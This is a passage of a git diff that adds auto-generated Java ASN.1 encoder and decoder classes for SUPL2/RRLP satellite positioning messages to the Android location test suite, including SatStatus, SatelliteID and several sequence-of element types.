+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatStatus.oldSatelliteAndModelType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $NewNaviModelUC(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UncompressedEphemeris();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isNewSatelliteAndModelUC() {
+ return !hasExtensionValue() && Select.$NewSatelliteAndModelUC == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNewSatelliteAndModelUC}.
+ */
+ @SuppressWarnings("unchecked")
+ public UncompressedEphemeris getNewSatelliteAndModelUC() {
+ if (!isNewSatelliteAndModelUC()) {
+ throw new IllegalStateException("SatStatus value not a NewSatelliteAndModelUC");
+ }
+ return (UncompressedEphemeris) element;
+ }
+
+ public void setNewSatelliteAndModelUC(UncompressedEphemeris selected) {
+ selection = Select.$NewSatelliteAndModelUC;
+ extension = false;
+ element = selected;
+ }
+
+ public UncompressedEphemeris setNewSatelliteAndModelUCToNewInstance() {
+ UncompressedEphemeris element = new UncompressedEphemeris();
+ setNewSatelliteAndModelUC(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class oldSatelliteAndModelType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_oldSatelliteAndModelType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public oldSatelliteAndModelType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_oldSatelliteAndModelType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_oldSatelliteAndModelType != null) {
+ return ImmutableList.of(TAG_oldSatelliteAndModelType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new oldSatelliteAndModelType from encoded stream.
+ */
+ public static oldSatelliteAndModelType fromPerUnaligned(byte[] encodedBytes) {
+ oldSatelliteAndModelType result = new oldSatelliteAndModelType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new oldSatelliteAndModelType from encoded stream.
+ */
+ public static oldSatelliteAndModelType fromPerAligned(byte[] encodedBytes) {
+ oldSatelliteAndModelType result = new oldSatelliteAndModelType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "oldSatelliteAndModelType (null value);\n";
+ }
+}
+
+
+ public boolean isOldSatelliteAndModel() {
+ return !hasExtensionValue() && Select.$OldSatelliteAndModel == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isOldSatelliteAndModel}.
+ */
+ @SuppressWarnings("unchecked")
+ public SatStatus.oldSatelliteAndModelType getOldSatelliteAndModel() {
+ if (!isOldSatelliteAndModel()) {
+ throw new IllegalStateException("SatStatus value not a OldSatelliteAndModel");
+ }
+ return (SatStatus.oldSatelliteAndModelType) element;
+ }
+
+ public void setOldSatelliteAndModel(SatStatus.oldSatelliteAndModelType selected) {
+ selection = Select.$OldSatelliteAndModel;
+ extension = false;
+ element = selected;
+ }
+
+ public SatStatus.oldSatelliteAndModelType setOldSatelliteAndModelToNewInstance() {
+ SatStatus.oldSatelliteAndModelType element = new SatStatus.oldSatelliteAndModelType();
+ setOldSatelliteAndModel(element);
+ return element;
+ }
+
+
+
+ public boolean isNewNaviModelUC() {
+ return !hasExtensionValue() && Select.$NewNaviModelUC == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isNewNaviModelUC}.
+ */
+ @SuppressWarnings("unchecked")
+ public UncompressedEphemeris getNewNaviModelUC() {
+ if (!isNewNaviModelUC()) {
+ throw new IllegalStateException("SatStatus value not a NewNaviModelUC");
+ }
+ return (UncompressedEphemeris) element;
+ }
+
+ public void setNewNaviModelUC(UncompressedEphemeris selected) {
+ selection = Select.$NewNaviModelUC;
+ extension = false;
+ element = selected;
+ }
+
+ public UncompressedEphemeris setNewNaviModelUCToNewInstance() {
+ UncompressedEphemeris element = new UncompressedEphemeris();
+ setNewNaviModelUC(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "SatStatus = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java
new file mode 100755
index 0000000..8aa9ec6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SatelliteID extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_SatelliteID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatelliteID() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatelliteID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatelliteID != null) {
+ return ImmutableList.of(TAG_SatelliteID);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatelliteID from encoded stream.
+ */
+ public static SatelliteID fromPerUnaligned(byte[] encodedBytes) {
+ SatelliteID result = new SatelliteID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatelliteID from encoded stream.
+ */
+ public static SatelliteID fromPerAligned(byte[] encodedBytes) {
+ SatelliteID result = new SatelliteID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SatelliteID = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
new file mode 100755
index 0000000..1eea1a2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfAcquisElement
+ extends Asn1SequenceOf<AcquisElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfAcquisElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfAcquisElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfAcquisElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfAcquisElement != null) {
+ return ImmutableList.of(TAG_SeqOfAcquisElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfAcquisElement from encoded stream.
+ */
+ public static SeqOfAcquisElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfAcquisElement result = new SeqOfAcquisElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfAcquisElement from encoded stream.
+ */
+ public static SeqOfAcquisElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfAcquisElement result = new SeqOfAcquisElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public AcquisElement createAndAddValue() {
+ AcquisElement value = new AcquisElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfAcquisElement = [\n");
+ final String internalIndent = indent + " ";
+ for (AcquisElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
new file mode 100755
index 0000000..2c5641e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfAlmanacElement
+ extends Asn1SequenceOf<AlmanacElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfAlmanacElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfAlmanacElement() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfAlmanacElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfAlmanacElement != null) {
+ return ImmutableList.of(TAG_SeqOfAlmanacElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfAlmanacElement from encoded stream.
+ */
+ public static SeqOfAlmanacElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfAlmanacElement result = new SeqOfAlmanacElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfAlmanacElement from encoded stream.
+ */
+ public static SeqOfAlmanacElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfAlmanacElement result = new SeqOfAlmanacElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public AlmanacElement createAndAddValue() {
+ AlmanacElement value = new AlmanacElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfAlmanacElement = [\n");
+ final String internalIndent = indent + " ";
+ for (AlmanacElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
new file mode 100755
index 0000000..4eb6fde
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfBadSignalElement
+ extends Asn1SequenceOf<BadSignalElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfBadSignalElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfBadSignalElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfBadSignalElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfBadSignalElement != null) {
+ return ImmutableList.of(TAG_SeqOfBadSignalElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfBadSignalElement from encoded stream.
+ */
+ public static SeqOfBadSignalElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfBadSignalElement result = new SeqOfBadSignalElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfBadSignalElement from encoded stream.
+ */
+ public static SeqOfBadSignalElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfBadSignalElement result = new SeqOfBadSignalElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public BadSignalElement createAndAddValue() {
+ BadSignalElement value = new BadSignalElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfBadSignalElement = [\n");
+ final String internalIndent = indent + " ";
+ for (BadSignalElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
new file mode 100755
index 0000000..14ba9cd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfDGANSSExtensionSgnElement
+ extends Asn1SequenceOf<DGANSSExtensionSgnElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfDGANSSExtensionSgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfDGANSSExtensionSgnElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfDGANSSExtensionSgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfDGANSSExtensionSgnElement != null) {
+ return ImmutableList.of(TAG_SeqOfDGANSSExtensionSgnElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfDGANSSExtensionSgnElement from encoded stream.
+ */
+ public static SeqOfDGANSSExtensionSgnElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfDGANSSExtensionSgnElement result = new SeqOfDGANSSExtensionSgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfDGANSSExtensionSgnElement from encoded stream.
+ */
+ public static SeqOfDGANSSExtensionSgnElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfDGANSSExtensionSgnElement result = new SeqOfDGANSSExtensionSgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public DGANSSExtensionSgnElement createAndAddValue() {
+ DGANSSExtensionSgnElement value = new DGANSSExtensionSgnElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfDGANSSExtensionSgnElement = [\n");
+ final String internalIndent = indent + " ";
+ for (DGANSSExtensionSgnElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
new file mode 100755
index 0000000..3a42c81
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfDGANSSSgnElement
+ extends Asn1SequenceOf<DGANSSSgnElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfDGANSSSgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfDGANSSSgnElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfDGANSSSgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfDGANSSSgnElement != null) {
+ return ImmutableList.of(TAG_SeqOfDGANSSSgnElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfDGANSSSgnElement from encoded stream.
+ */
+ public static SeqOfDGANSSSgnElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfDGANSSSgnElement result = new SeqOfDGANSSSgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfDGANSSSgnElement from encoded stream.
+ */
+ public static SeqOfDGANSSSgnElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfDGANSSSgnElement result = new SeqOfDGANSSSgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public DGANSSSgnElement createAndAddValue() {
+ DGANSSSgnElement value = new DGANSSSgnElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfDGANSSSgnElement = [\n");
+ final String internalIndent = indent + " ";
+ for (DGANSSSgnElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
new file mode 100755
index 0000000..cfed1b0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
